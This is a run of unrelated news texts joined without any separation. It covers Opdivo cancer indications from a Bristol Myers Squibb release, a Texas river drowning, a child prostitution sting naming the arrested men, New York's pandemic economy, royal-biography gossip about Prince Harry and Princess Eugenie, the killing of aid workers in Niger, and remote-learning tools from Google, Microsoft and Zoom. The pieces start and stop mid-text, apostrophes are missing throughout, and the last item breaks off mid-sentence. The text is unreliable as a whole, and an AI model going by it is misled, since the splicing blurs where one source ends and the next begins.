(ipilimumab) and 2 cycles of platinum-doublet chemotherapy, is indicated for the first-line treatment of adult patients with metastatic or recurrent non-small cell lung cancer (NSCLC), with no EGFR or ALK genomic tumor aberrations. OPDIVO (nivolumab) is indicated for the treatment of patients with metastatic non-small cell lung cancer (NSCLC) with progression on or after platinum-based chemotherapy. Patients with EGFR or ALK genomic tumor aberrations should have disease progression on FDA-approved therapy for these aberrations prior to receiving OPDIVO. OPDIVO (nivolumab) is indicated for the treatment of patients with metastatic small cell lung cancer (SCLC) with progression after platinum-based chemotherapy and at least one other line of therapy. This indication is approved under accelerated approval based on overall response rate and duration of response. Continued approval for this indication may be contingent upon verification and description of clinical benefit in confirmatory trials. OPDIVO (nivolumab) is indicated for the treatment of patients with advanced renal cell carcinoma (RCC) who have received prior anti-angiogenic therapy. OPDIVO (nivolumab), in combination with YERVOY (ipilimumab), is indicated for the treatment of patients with intermediate or poor risk, previously untreated advanced renal cell carcinoma (RCC). OPDIVO (nivolumab) is indicated for the treatment of adult patients with classical Hodgkin lymphoma (cHL) that has relapsed or progressed after autologous hematopoietic stem cell transplantation (HSCT) and brentuximab vedotin or after 3 or more lines of systemic therapy that includes autologous HSCT. This indication is approved under accelerated approval based on overall response rate. Continued approval for this indication may be contingent upon verification and description of clinical benefit in confirmatory trials. OPDIVO (nivolumab) is indicated for the treatment of patients with recurrent or metastatic squamous cell carcinoma of the head and neck (SCCHN) with disease progression on or after platinum-based therapy. OPDIVO (nivolumab) is indicated for the treatment of patients with locally advanced or metastatic urothelial carcinoma who have disease progression during or following platinum-containing chemotherapy or have disease progression within 12 months of neoadjuvant or adjuvant treatment with platinum-containing chemotherapy. This indication is approved under accelerated approval based on tumor response rate and duration of response. Continued approval for this indication may be contingent upon verification and description of clinical benefit in confirmatory trials. OPDIVO (nivolumab), as a single agent, is indicated for the treatment of adult and pediatric (12 years and older) patients with microsatellite instability-high (MSI-H) or mismatch repair deficient (dMMR) metastatic colorectal cancer (CRC) that has progressed following treatment with a fluoropyrimidine, oxaliplatin, and irinotecan. This indication is approved under accelerated approval based on overall response rate and duration of response. Continued approval for this indication may be contingent upon verification and description of clinical benefit in confirmatory trials. OPDIVO (nivolumab), in combination with YERVOY (ipilimumab), is indicated for the treatment of adults and pediatric patients 12 years and older with microsatellite instability-high (MSI-H) or mismatch repair deficient (dMMR) metastatic colorectal cancer (CRC) that has progressed following treatment with a fluoropyrimidine, oxaliplatin, and irinotecan. This indication is approved under accelerated approval based on overall response rate and duration of response. Continued approval for this indication may be contingent upon verification and description of clinical benefit in confirmatory trials. OPDIVO (nivolumab) is indicated for the treatment of patients with hepatocellular carcinoma (HCC) who have been previously treated with sorafenib. This indication is approved under accelerated approval based on overall response rate and duration of response. Continued approval for this indication may be contingent upon verification and description of clinical benefit in the confirmatory trials. OPDIVO (nivolumab), in combination with YERVOY (ipilimumab), is indicated for the treatment of patients with hepatocellular carcinoma (HCC) who have been previously treated with sorafenib. This indication is approved under accelerated approval based on overall response rate and duration of response. Continued approval for this indication may be contingent upon verification and description of clinical benefit in the confirmatory trials. OPDIVO (nivolumab) is indicated for the adjuvant treatment of patients with melanoma with involvement of lymph nodes or metastatic disease who have undergone complete resection. OPDIVO (nivolumab) is indicated for the treatment of patients with unresectable advanced, recurrent or metastatic esophageal squamous cell carcinoma (ESCC) after prior fluoropyrimidine- and platinum-based chemotherapy. Checkmate Trials and Patient Populations Checkmate 037previously treated metastatic melanoma; Checkmate 066previously untreated metastatic melanoma; Checkmate 067previously untreated metastatic melanoma, as a single agent or in combination with YERVOY; Checkmate 227previously untreated metastatic non-small cell lung cancer, in combination with YERVOY; Checkmate 9LApreviously untreated recurrent or metastatic non-small cell lung cancer in combination with YERVOY and 2 cycles of platinum-doublet chemotherapy by histology; Checkmate 017second-line treatment of metastatic squamous non-small cell lung cancer; Checkmate 057second-line treatment of metastatic non-squamous non-small cell lung cancer; Checkmate 032small cell lung cancer; Checkmate 025previously treated renal cell carcinoma; Checkmate 214previously untreated renal cell carcinoma, in combination with YERVOY; Checkmate 205/039classical Hodgkin lymphoma; Checkmate 141recurrent or metastatic squamous cell carcinoma of the head and neck; Checkmate 275urothelial carcinoma; Checkmate 142MSI-H or dMMR metastatic colorectal cancer, as a single agent or in combination with YERVOY; Checkmate 040hepatocellular carcinoma, as a single agent or in combination with YERVOY; Checkmate 238adjuvant treatment of melanoma; Attraction-3esophageal squamous cell carcinoma About the Bristol Myers Squibb and Ono Pharmaceutical Collaboration In 2011, through a collaboration agreement with Ono Pharmaceutical Co., Bristol Myers Squibb expanded its territorial rights to develop and commercialize Opdivo globally, except in Japan, South Korea and Taiwan, where Ono had retained all rights to the compound at the time. On July 23, 2014, Ono and Bristol Myers Squibb further expanded the companies strategic collaboration agreement to jointly develop and commercialize multiple immunotherapies as single agents and combination regimens for patients with cancer in Japan, South Korea and Taiwan. About Bristol Myers Squibb Bristol Myers Squibb is a global biopharmaceutical company whose mission is to discover, develop and deliver innovative medicines that help patients prevail over serious diseases. For more information about Bristol Myers Squibb, visit us at BMS.com or follow us on LinkedIn, Twitter, YouTube, Facebook and Instagram. Celgene and Juno Therapeutics are wholly owned subsidiaries of Bristol-Myers Squibb Company. In certain countries outside the U.S., due to local laws, Celgene and Juno Therapeutics are referred to as, Celgene, a Bristol Myers Squibb company and Juno Therapeutics, a Bristol Myers Squibb company. SOURCE: Bristol-Myers Squibb Two teens gave their lives to help save a 5-year-old girl from drowning in the treacherous Trinity River near Moss Hill in South Texas. The tragedic incident unfolded on Aug. 2, 2020, when the teens saw that the girls father was already caught by a fast-moving current while attempting to rescue his daughter. The two teen heroes werent found until the next day after a search involving side-scan sonar revealed their bodies at the bottom of a 45-to-50-foot-deep water pool. (Illustration Love Solutions/Shutterstock) Seeing the father and daughter at risk of being pulled under by the swiftly flowing river, teenagers Wilmer Alexi Rodriguez and Jaerson Alvarez, both 18 years old, and Alvarezs brother-in-law, Osman Ariel Nieto Baua, jumped in to help, reported Bluebonnet News. While Baua was able to save the girl, the teens were pulled under themselves and drowned. The report stated that Baua, Alvarez, and Rodriguez had come from their homes in Beaumont, Texas, for a day of fishing at the riverside. They heroically jumped in to help out despite the clear danger posed by the rough river conditions. After the tragic ordeal, the girls father, Abel Castellanos, himself barely made it out of the river alive, needing to be transported by critical-care air medical transport to Hermann Memorial Hospital in Houston. Capt. Ken DeFoor of the Liberty County Sherriffs Office said in the video by the news outlet that the tragic swimming accident took place at a risky spot on the river underneath the Highway 105 bridge. This river, at this location, has claimed many lives over the past years, Captain DeFoor said. The river, on the surface, looks very placid, but there is an undercurrent all the time. (Illustration Matthijs Hollanders/Shutterstock) Captain DeFoor said that the river bottom is extremely irregular and has other dangers lurking around it like alligators and metal trash. You can go from waist-deep water and step off into a hole that is 40-50 feet deep, the captain said. And this appears to be what happened to Alvarez, who fell into a deep pit and yelled back to his brother-in-law for help. He was calling to me, Ariel, help me, help me, Baua told the news outlet. Unfortunately, the rescue of the child had drained Baua of his strength, and he couldnt rescue Alvarez, he said. The report stated that Rodriguez also tried to rescue his cousin Alvarez, the two worked together as bricklayers in the Beaumont area, before being sucked into the deep water himself. (Illustration Karen P Stilwell/Shutterstock) To add to the tragedy, the young men left behind dependents. Alvarez is survived by a 1-month-old baby girl named Emily. [Alvarez] was working hard to go somewhere with his life, Baua said. Both of the men immigrated to Texas from Honduras and dreamed of becoming American citizens. The Rodriguez family created a GoFundMe for a Funeral Fund for the Trinity River Heroes. Their goal to raise $10,000 to help take their bodies back to their native country for burial was reached almost within a couple of days, demonstrating just how much their sacrificial act meant to the community. The Sheriffs Department in Liberty County expressed its hopes that the tragedy would help warn would-be swimmers about the dangers of the spot. The signs posted by the police have often been disregarded or torn down and used for firewood. DeFoor hopes that this time will be different. There are alligators, underwater obstructions, trash and metal, Captain DeFoor said. Its not a safe place to swim even though the sandbar looks inviting. We would love to hear your stories! You can share them with us at emg.inspired@epochtimes.nyc Two Fort Hood soldiers were among the nine people arrested during a two-day child prostitution sting Saturday, said a report from ABC affiliate KXXV. Both the Killeen Police Department Special Victim's Unit and the Texas Department of Public Safety Human Trafficking Program were involved in the effort to bust the child prostitution ring. Other than the two Fort Hood soldiers, one more military man was also arrested in the child prostitution sting operation, reported New York Post. According to the police, the Fort Hood soldiers and the seven other men contacted officers to allegedly try and pay minors aged 15 to 16 to engage in sexual acts. "The overall goal of this joint effort was to locate and arrest subjects who were willing to make overt efforts to pay minors to engage in sexual acts," said the police. The suspects contacted the officers through various social media sites and made agreements with the authorities. According to the Killeen Police Department's release on Monday, they were willing to pay fees that included money, drugs, and or alcohol. The arrest of the nine men, including those in the military, was done without incident. The men were arrested when they arrived at a pre-determined location, reported another ABC affiliate KVIA 7. According to KTEM News Radio 14, the men came to the location expecting to see a teen but were instead met by police and taken into custody. The operation was concluded on Saturday, August 8. What were the charges? On top of the charges link to child prostitution, there were also two guns found on the suspects during the bust. Of the nine men identified in the child prostitution bust, seven of them face charges of felony prostitution under 18. Here are the men who face those charges: Anthony Xavier Antwon, 25, Fort Hood Timmy Jones Jr., 30, Fort Hood Javier Perez, 40, Austin Brian Harley Flynn, 21, Temple Brandon Anthony Lee, 25, Killeen Dustin Edward Johnson, 42, Lott Shaun Paul Moore, 39, Kempner Two men also face charges of Class A prostitution: Rakeem Jamal Nelson, 28, and Pierre Jean of Kileen, 32. They are both from Killeen, Texas. Antwon and Jones are the Fort Hood stationed soldiers, while Jean is the other military man stationed in San Antonio, Texas. Jail records state that three men: Antwon, Perez, Flynn, and Jones all stayed in the Bell County Jail on Monday evening with a $50,000 bond each. There was also an immigration violation listed on Perez's jail roster. Police Issues Reminders on Caution While it is a relief for the police officers that the potential child predators are off the street, they also want the public to be wary about sex trafficking schemes. According to data from the Texas Attorney General's Office, there are roughly 79,000 victims of minor sex trafficking in Texas. Ofelia Miramontez of Killeen police public affairs said, "If you see something, say something." She also told residents to report any suspicious activity to local 9-1-1 emergency centers. . Want to read more? Take a look at these! 34 Alleged Child Sexual Abusers Arrested in Fresno County Undercover Operation Virginia Rape Suspect Kills Latina Accuser After Freed From Jail Over Pandemic Former UCLA Gynecologist Faces 20 Sexual Assault Charges The city is in the middle of its worst economic crisis since the 1970s, when it nearly went bankrupt. Though officials have allowed a gradual reopening, the citys unemployment rate climbed above 20 percent in June the highest level in the 44 years that such data has been collected. A recent report also suggested that roughly one-third of the citys small businesses may never reopen. The citys small-business sector had already lost about 520,000 jobs, the study said. The companies in the nonprofit effort said they aimed to hire 25,000 CUNY students over the next decade. But it was not clear exactly what programs would be developed or how much money would be spent on the effort. Nor did the group provide a basis for comparison. While the companies have pledged to expand their hiring of low-income and minority New Yorkers, most of the companies already have major presences in the city, so it was unclear how much of an increase their commitments represented. I think its presumptuous of us to be prescriptive and say, This is what were going to do, Ms. Mellow said. Were going to be very action oriented. Its going to have multiple brains. Were going to set up some programs fast. This is a really hard nut to crack. Jamie Dimon, chief executive of JPMorgan Chase, said the hope was that announcing the initiative at an early stage would inspire other companies to join. The C.E.O.s have agreed to attack the problem, specifically, deliberately and publicly, he said in an interview. This is so critical to the basic health of America. Prince Harry's close friendship with Princess Eugenie has been detailed in a new explosive biography. The Duke of Sussex, 35, felt the Queen's granddaughter, 30, had 'had always been more than a cousin' and they were 'also the closest of friends', according to Omid Scobie and Carolyn Durant, who wrote book Finding Freedom, released today. The royal became one of the first to know of his relationship with Meghan Markle, 39, with the book detailing: 'Eugenie who'd long wanted to see her cousin settle down and be happy, told friends she loved Meghan and thought she was "just the tonic" for Harry.' However the decision taken by Prince Harry and Meghan to share the news of their pregnancy at the Princess' wedding 'did not go down particularly well', according to the authors. They explained: 'A source said [she] told friends she felt the couple should have waited to share the news.' The Duke of Sussex, 35, felt the Queen's granddaughter, 30, had 'had always been more than a cousin' and they were 'also the closest of friends' (pictured: Harry with Eugenie and Princess Beatrice in 2015 on Trooping the Colour) Harry confided to his cousin about Meghan in the early days of their relationship. Omid and Carolyn write Beatrice was one of the first members of the royal family to hear about Harry's new girl (pictured at Eugenie's wedding to Jack Brooksbank on 12 October 2018) The Duke and Duchess of Sussex told close family members the news at the nuptials because it was the last time they saw senior royals before jetting off to Australia for the start of their royal tour. Just four days later, on the eve of their arrival in Sydney, Meghan and Harry announced that they were expecting. At the time Meghan was just 12 weeks pregnant but the couple chose to announce early rather than to have the entire tour overshadowed by pregnancy rumours, which were already swirling. The Duchess was also 'already showing', which would have been difficult to hide. According to the book, Prince Harry and Princess Eugenie had always had a strong bond. The authors write: 'Out of all the queen's grandchildren, Princess Eugenie and Prince Harry have one of the most natural connections. Like Harry, Eugenie is loyal, honest and great fun. 'The two had many nights out together in London, sneaking into back entrances of clubs, such as Mahiki, where Jack once was manager, or Tonteria, where in one of the VIP cave areas they downed shots from Mexican skull shaped glasses and a giant frozen margarita (with multiple straws).' The book reveals Eugenie was furious about the fact Meghan and Harry 'stole the limelight' at her wedding by announcing the Duchess of Sussex was pregnant The Duchess of Sussex, 38, is said to have revealed she was carrying little Archie, now one, when celebrating Eugenie and Jack Brooksbank's nuptials (pictured above) with the rest of the Royal family on 12 October 2018 The authors write that the 'strong relationship between their mothers brought them together.' 'Like Harry, Eugenie also struggled to carve out his own identity growing up. 'Not being a senior role meant that she had to go out into the world and find her own path, which she had done.' Meanwhile they also detailed how Prince Harry even confided in his cousin early on in his relationship with Meghan. The authors wrote: 'Harry had always confided in his cousin when it came to the women in his life. 'Not only did he trust her implicitly, but friends said that she gives great advice and has always been 'beyond wise' for her years. 'It's not surprising then that Eugenie was one of the first in the family to know about his relationship with Meghan.' These reports are according to Omid Scobie and Carolyn Durant, who wrote new book Finding Freedom They reveal how Princess Eugenie was 'nothing but encouraging about his new relationship.' According to Omid and Carolyn, Prince Harry and Meghan went on several double dates with the couple.' The Sussexes went to reveal news of their first child when celebrating Eugenie and Jack Brooksbank's nuptials with the rest of the Royal family on 12 October 2018. And the decision to reveal Meghan's pregnancy was said 'not to go down particularly well' with Eugenie, with a telling friends she felt the couple should have 'waited to share the news.' It comes after another biography, written by Dylan Howard and Andy Tillett, claimed Meghan 'embarrassed' Prince Harry after divulging she was pregnant during Princess Eugenie's wedding day 'in a huge social gaffe' which left the bride and her mother Sarah Ferguson 'furious'. The pair wrote: 'Meghan put her foot in it when she decided that it would be the ideal moment to announce that she and Harry were expecting their first child.' 'This was a huge social gaffe, even if you were not a royal stealing the limelight from Eugenie, who was furious, as was her mother, Sarah.' The authors claim the announcement left Prince Harry, who is currently living in LA with his wife and son, feeling embarrassed. Meghan and Prince Harry told the public they were expecting their first child on the eve of their royal tour of Australia and New Zealand on October 15, 2018. At the time, some fans criticised the couple for making the announcement so close to Eugenie's wedding. 'If Harry and Meghan did actually tell the royal family about their baby at Eugenies wedding on Friday, thats pretty shady,' one person wrote, while another added: 'Thunder stealer.' However, rumours of bad feeling went into overdrive when Princess Eugenie's mother tweeted a picture of her royal wedding outfit at the exact moment the Duke and Duchess of Sussex announced they were having a baby. Kensington Palace officially revealed the pregnancy at 8.40am on October 15, 2018, on what was the 59th birthday of Eugenie's mother Sarah Ferguson, Duchess of York. And at the exact time of the announcement, Sarah posted a tweet thanking the designer of her dress for the outfit worn on her daughter's big day just days earlier. She then posted three further messages saying how 'proud' she was of her daughter and new son-in-law Jack - but made no mention of Harry and Meghan. Eugenie's father the Duke of York, who wished his ex-wife Sarah a 'very happy day' on her birthday, also retweeted one of Sarah's tweets featuring Eugenie and Jack. Prince Andrew also made no mention of the Duke and Duchess of Sussex's news. A soldier stands guard at sunset as France's President and Niger's President Mahamadou Issoufou (unseen) take part in a military ceremony at the Martyr Quarter on Dec. 22, 2019. (Ludovic Marin/POOL/AFP via Getty Images) Niger, French Forces in Search of Gunmen Who Killed Tourists NIAMEY, NigerArmed forces from Niger and France have been deployed to pursue the gunmen who killed seven aid workers, mostly French citizens, and a leading guide in a Niger giraffe park considered one of the safer places in the vast West African country. The group had been on a day of sightseeing on Aug. 9 when they were attacked just before noon, according to one of the aid groups they worked for, Paris-based NGO ACTED. An ambulance sent by the French military stationed in Niger found the bodies later in the day in their burned-out vehicle in the giraffe reserve in Koure, the group said. The victims were six French citizens and one Nigerien working for ACTED and Geneva-based IMPACT Initiatives. The other victim was their Nigerien guide, who was the president of the guides at the park. Four of the French aid workers were women, two men, and all were between the ages of 25 and 50, according to ACTED. Nigers Interior Minister Alkache Alhada said on Aug. 9 that the area around Koure has been cordoned off by Nigers army and French soldiers from Operation Barkhane. We have deployed the army and intelligence services to identify and neutralize the assassins, he said. We have also deployed air cover to reinforce the troops on the ground. French prosecutors said in a statement on Aug. 9 they opened an investigation for murders in relation to a terrorist undertaking. The governor of the Tillaberi region where the attack took place said he was surprised by this cowardly attack and assassination against foreign tourists. This area has always been a peaceful and secure place, we really want to know what happened, Governor Tidjani Katiella said. Hundreds of people each year visit the protected national park in Koure, which contains among the only remaining West African giraffes in the world, who live amid dense vegetation and tall trees about 70 kilometers (45 miles) southeast of the capital. The NGOs condemned in the strongest terms the senseless and barbaric killing of our colleagues and their guide. Our colleagues have been working to support the people of Niger facing hardship, driven by values of humanity and solidarity, the NGOs said. The Association of Giraffe Guides of Koure also released a statement condemning the death of the president of their association, Kadri Abdou. We are deeply saddened and thinking of the victims and their families to whom we offer our most sincere condolences and especially to the family of Kadri, our friend. May he rest in peace, the statement said. Niger President Issoufou Mahamadou also condemned the killings in a post on Twitter. I condemn the cowardly and barbaric terrorist attack perpetrated this Sunday in the peaceful town of Koure, he wrote, extending condolences to the families of the victims and to the French president, adding that Frances commitment to our side in the fight against terrorism is unwavering. One of the biggest French NGOs, ACTED has been present in Niger since 2010 and provides aid to displaced people and local populations who are particularly vulnerable due to conflicts in the region, lack of food, and droughts. A partner to ACTED, IMPACT Initiatives was first deployed in Niger in 2012. It conducts mapping programs and other projects in camps hosting displaced populations. In a phone call on Aug. 9, French President Emmanuel Macron and Nigers president pledged to clarify the circumstances of the deadly attack by all means, the French presidency said. French Foreign Affairs Minister Jean-Yves Le Drian condemned the attack on Aug. 10, saying that those responsible will have to answer for their acts. The French government has warned citizens against traveling outside Nigers capital, Niamey, as militants linked to Boko Haram, Islamic State, and al-Qaida carry out attacks across the vast West African nation. Niger borders several countries including Mali, Burkina Faso, Chad, Nigeria, and Libya. Violence by rebels linked to the IS group and al-Qaida is on the rise in the Sahel region. France has deployed 5,100 soldiers to help fight the growing insurgency there, and a local Sahel force made up of soldiers from Mali, Niger, Burkina Faso, Chad, and Mauritania has also been fighting the extremists. ACTED said that it is now barring its staff across Niger, Chad, Mali, and Burkina Faso from leaving their zones, as a result of the attack. The group insisted that it had taken necessary security measures, requiring clearance three days ahead of time for their staff to travel within Niger. ACTED co-founder Marie-Pierre Caley said it was the first such attack in the area of the giraffe park, and described it as much safer than other areas in Niger where the groups staffers work. ACTED co-founder Frederic Roussel said it may have been an opportunistic attack by a small group targeting Westerners, but said it was too early to say for sure. He described increasingly tight security measures for ACTED workers in recent years, but said the attack shouldnt deter aid workers from helping the most threatened populations on the planet. By Dalatou Mamane & Sylvie Corbet In March and early April, schools flipped from in-school instruction to distance learning seemingly overnight. Now, this fall, teachers using Microsoft Teams, Google Classroom and Meet, and Zoom are returning to teach online once again. How each teacher and school district will use each tool may vary. But weve spoken with Microsoft and Google, and teachers who are using these applications, to understand what each virtual classroom experience will be like when kids go back to school this fall, and how it will differ from this past spring. Signing up school districts and teaching students the ins and outs of their respective platforms is an enormous strategic win for tech platforms like Google and Microsoft. Both companies have rolled out a dizzying rush of new features to meet the urgent demands of these users. Googles traditional advantage has been in hardware. Its cheap, managed Chromebooks have served as a vehicle to install Google Classroom and Meet inside American school districts. Part of Microsofts benefit is that it can offer a powerful, integrated suite of applications, including Microsoft Office, Teams, and FlipGrid. Finally, theres Zoom, the videoconferencing service thats now become ubiquitous with video chat. Google: Catching up in a big way In New York State, Zoom offered a number of features that Google didnt when the school systems suddenly flipped to distanced learning, according to Bill Vacca, Director of Instructional Technology at Mohonasen Central School District in Rotterdam, NY. But among Microsoft, Google, and Zoom, Google was the only company that had filed the requisite certificate to meet Education Law Section 2-d, which governs data privacywhich meant that the state adopted Googles G Suite for Education, including Google Classroom and Google Meet. Though the others have now filed their certificates, that readiness gave Google a leg up. Google An example of Google Classroom from a students perspective. Googles ecosystem is based upon G Suite. Google Classroom provides a hub to direct students to specific tasks, which they can perform with Google Docs, Slides, Keep, and other applications. Meetings are conducted by Meet. Schools can choose from the free G Suite for Education, or else pay for G Suite Enterprise for Education, which adds more advanced features. (Google provides a detailed comparison chart of the two flavors.) On Tuesday, Google will launch what the company calls The Anywhere School, to introduce Google Classrooms new features for in-person and remote learning for the fall. Many of Googles new Meet features will be familiar, as they were announced in June: a 49-person view that will debut in September, custom and blurred virtual backgrounds that can be managed by administrators rolling out in October, alongside breakout rooms and attendance tracking; plus Meets new integration with Googles Jamboard digital whiteboard and more. Google A stream of assignments within Google Classroom. Google plans to announce a few new features as well for Classroom, according to Zach Yeskel, a product manager for Google. Improvements for the To-Do page within Classroom are being added to help see whats coming up. As a hedge against first-day setup problems, students can be sent a link to join Classroom directly. New administrator dashboards will also be available. For this fall, Meet meetings cant be anonymous, and every attendee must have their own Google account. Teachers will be able to require that every student knocks to get in. If a participant is disruptive and is removed from the chat, they wont be able to knock repeatedly to be let back in, a change from the spring. A raise hand feature is being added, with visual and audio indicators. There will be new chat locks and present locks to let the teacher manage the class, and a new end meeting control to prevent unauthorized chatting once the meeting ends. Live captions will be accessible. Transcription, though, is not on the agenda, and a Google representative said that there was nothing to announce. At-home students can also take advantage of related Google apps and features. The Google-owned Socratic app can tutor students through a problem by taking a photo of it. Google is touting its Family Bell feature within Google Assistant as a way to stay to alert kids ahead of their next online class. Google Heres what Google Meets new raised hand feature will look like. Mohonasen Central School District is going to offer a mixture of in-school and virtual learning. As of January, 40 million students and educators in the United States were using Chromebooks, Google says. Theyve been the golden ticket, Mohonasen Centrals Vacca said of Chromebooks, because they offer very limited features that meet exactly what educators need. In Vaccas district, each classroom will be equipped with a webcam in the front of the classroom. Although the implementation may vary from class to class, a hypothetical third-grade classroom in Vaccas district will begin the day with kids coming in and opening up their Chromebooks, while a teacher makes sure theyre logged in and present. A teacher will open up a Google Slide, with the days agenda and a question of the day. Students will then open up either a Google Doc to write the answer, or just do it on a piece of paper, which can be shown to the Chromebooks webcam via Meet. Google Google Meets question stream. (One weakness of Googles ecosystem was that until Googles Jamboard whiteboard was integrated, it was a challenge to write out the answers to math problems, Vacca said. Holding up a written answer to the webcam was also complicated by the fact that Meet reversed the image by default, a bug that was fixed in April, Vacca said.) At lunch, students log off and eat privately. One of the restrictions Google imposes is that students cant set up their own private Meet calls, Vacca said. Unfortunately that means that kids cant enjoy a recess where they can hang out with their peers. It prevents bullying, but it also takes away the ability to connect without a teacher there, Vacca acknowledges. That is something that cant be replaced. One of the advantages that Google has, according to Vacca, is a leg up on asynchronous learning: YouTube. Instead of interacting live via Meet, teachers record YouTube videos and let students watch them on their own time. Even the P.E. teachers have access to Google Classroom. The P.E. teachers are recording themselvesfollow my lead! Vacca said. The students are then recording themselves, sending that video file back, and showing off what they did. Google The new breakout rooms feature within Google Meet. Grades will be recorded via the tools within Google Classroom, as they were back in March, with checkboxes showing students which assignments theyve completed and turned in. A new app called Assignments will be provided to help out non-Classroom users. New metrics will be available to teachers, modeled after the metrics YouTube provides creators. Theres a social and emotional module in the works to help teachers support students further. G Suite for Education even has an originality report, where a students answer can be compared to others G Suite has collected, in a search for plagiarism. Five originality reports are offered per course. If a school pays for the Enterprise Edition, Google will even compare answers in the classroom, looking for unauthorized student-to-student collaboration as part of a beta program. Google An example of Googles new originality reports. Vacca has some concerns about Googles solutions, too. In March, Google made the improved videoconferencing capabilities within G Suite Enterprise for Education available to the free G Suite for Education tier. The key feature, Vacca said, was the ability to record meetings and archive them for students to review later. But Google said it would end the program on September 30, just a short time after classes resume. Breakout rooms, too, are still a paid feature. What they have done is going to bite schools in the butt in the end, Vacca says. I wish they would at least make the recording feature available for the [free] Education package. As it turns out, Google willsort of, Google said Tuesday. Premium recordings will remain in place within the free Education tier until a new temporary recording program rolls out. This will allow a meeting host to record and share the meeting within their domain for up to 21 days, but not download it. Microsoft: A flood of new features, too Before Google announced its wave of upcoming features, Microsoft had dominated the space with seemingly constant refreshes of Teams. Near the end of the school year, in March, Teams added real-time noise suppression and a raise hand feature, along with Zoom-like custom background support. In June, after the school year ended, Microsoft tipped off what Teams for Education users will see in the fall: a 77 gallery view, breakout rooms, and a lobby for students to wait in before class. In July, Microsoft laid out even more Teams features. Perhaps the biggest change for schools using Teams will be an optional auditorium-like together mode, which will coincide with the launch of chat bubbles and transcription services, which will roll out over the course of the fall. Microsofts timeline can be vague, however. While the 77 gallery view in Teams is scheduled for August, other features, such as the emoji-like live reactions, are just coming soon. Microsoft Microsoft Teams together mode may be one of the most significant updates to this falls distance learning using the Teams platform. Like Google, Microsoft offers a free tier of Microsoft 365 for Education with access to the online versions of Microsoft Office, plus 1TB or more of OneDrive cloud storage. If a school opts for a paid, premium tier, they can add locally installed versions of Office apps, schedule teacher meetings using Microsoft Bookings, and gain access to improved analytics. Flipgrid, a short-form video discussion platform Microsoft bought in 2018, isnt part of Microsoft 365, but its an important part of Microsofts education strategy. Teachers can post questions or topics, and students can respond via short videos. For most of these activities, however, students need a Windows PC. Anthony Salcito, the vice president of education for Microsoft, told PCWorld that educators saw student fatigue during the first run of distance learning in the spring. Were hopeful students are going to have much more confidence, with a more purposeful use of technology and a wider mix of learning techniques, he said. Microsoft Live captions and transcription will be coming to Teams, but its not clear exactly when. Though Microsoft now includes custom virtual backgrounds, theres still something of a lack of personalization in the Teams experience. Salcito suggested students could make up for it in the physical worldsharing a stuffed animal or pet via a webcam, or snapping a photo on a lunchtime walk. As learning comes home, youve got to be more sensitive, make it more personal, Salcito said. Students learn in different ways, and remote learning doesnt always mean remote videoconferencing, he said. Rory Yakubov How Rory Yakubovs virtual classroom might kick off its day within Teams. Thats a lesson that Rory Yakubov, a ninth-grade math teacher in the Old Bridge Township School District in New Jersey, has taken to heart. The district was on Teams even before the pandemic hit. Transitioning to remote learning was made far easier as students and teachers were already familiar with the Teams platform, Yakubov said. This fall, the districts plan is to do a mixture of in-person and distance learning, with just an hour in the classroom. Its a challenge to plan everything out, Yakubov said. This fall Im going to try to make sure that because we have so much remote learning time that my classroom experience is more of a hands-on experience. Rory Yakubov Yakubov records lectures via YouTube, and provides scanned copies of her notes within Teams. Yakubov said she sees the Microsoft Teams chat window as a perfect wall of conversation, with the ability for her to begin conversations, and for students to initiate their own and chime in. When I drop a formal assignment into Teams, they get a nice loving greeting from me, theyre getting a link to the YouTube video that I pre-recorded for them, Yakubov said. This is what I did in the spring, and will continue to do most of this in the fall. Yakubov said she uses Teams to drop in links to Quizlet, the popular quiz site, as well as IXL, another subscription education service. Teams, Yakubov said, makes it easy to integrate both services. And though Google owns YouTube, Yakubov said she considers the option to do prerecorded videos a valuable resource for her students to review on their own time, freeing up classroom time to be the equivalent of office hours, where students can ask questions. The Files tabs within Teams is where she plans to keep PDFs of her scanned notes, which can be printed outand, in years pastglued into a students physical notebook and supplemented with handwritten notes. Rory Yakubov Yakubovs Flipgrid homepage. In every other subject but math, Yakubov said, she would be encouraging her students to use OneNote. In her physical classroom, she was involved in a trial with inking devices, which she said she doesnt believe can be reproduced outside the classroom. What Microsoft offers in Teams and in formsit blows everything else out of the water, in my opinion, because of what I can do, especially as a math teacher, Yakubov said. When youre in Word or PowerPoint or Excel, you have all these equation-editor tools built in. Rory Yakubov Teams also allows teachers to track various metrics of classroom performance. Those tools will not only take equations like 2x + 1 = 7 and solve them, but can also generate quizzes, with one correct answer choice and three incorrect suggestions, making it easy to fill multiple-choice assessments, Yakubov said. Finally, theres Flipgrid, which many teachers adopted because it allowed students to be able to explain their work, Yakubov said. Theres a social element, too: In one assignment, Yakubov asked her students to come up with a mini-tutorial on how to factor numbers, and record them. Students then liked and commented on their classmates videos. Making these videos was hysterical, because first of all they missed each other so much, and they were being extra goofy and silly, because of course they want their classmates to see them, Yakubov said. Zoom: Security was the priority Heres the funny thing about Zoom: it became so successful because it wasnt Google or Microsoft. If a school district (or a business!) didnt want the hassle of using either Google or Microsoft, or a third party like Ciscos WebEx, they turned to Zoom. And its still one of the most popular video-conferencing platforms, even if it isnt natively integrated with some of the other tools Google and Microsoft provide. (Microsoft Outlook has partially thrown in the towel and now supports links to Zoom meetings as well as its own cousin, Teams.) Mark Hachman / IDG Selecting a custom background was one of the big features Zoom brought to the table. The problem with Zoom has been whats known as Zoom bombing, where unexpected guests have shown up and wreaked havoc in the online class. Zoom has since solved some of those problems by beefing up its own security, including 256-bit encryption. Users have adopted some best practices, too. In fact, Zoom hasnt announced any new features for the fall, since part of Zooms security refocusing in April was an immediate feature freeze, which ended in July. Zoom, though, is the hare that Microsoft and Google are chasing. Zoom calls can be recorded and transcribed, with closed captioning. There are breakout rooms. Content (and screens) can be shared and annotated, and theres a digital whiteboard feature. Zoom integrates with classroom apps like Moodle, Canvas, Desire2Learn, Sakai, and Blackboard. Though Zooms feature freeze is now over, Zooms playing it cool. We are working on enhancements to breakout rooms, collaboration tools and classroom management (more to come on this later this month), a Zoom representative said via email. Zoom doesnt offer administration features on its free service, though Zoom has removed the 40-minute time limit, if a teacher signs up with an education account. Its unclear how critical Microsoft and Googles education platforms will remain if the United States gets a handle on managing the coronavirus spread. For now, however, its probably fair to say that an enormous chunk of Americas schoolchildren will be learning online when school begins this fall. Correction: Microsofts vice president of education is Anthony Salcito. A previous version of this story also misspelled Rory Yakubovs name. Despite some recent good news about dwindling household debt, the financial health of U.S. consumers is rapidly deteriorating and families with children are faring the worst. Why it matters: As Congress deadlocks over pandemic relief and President 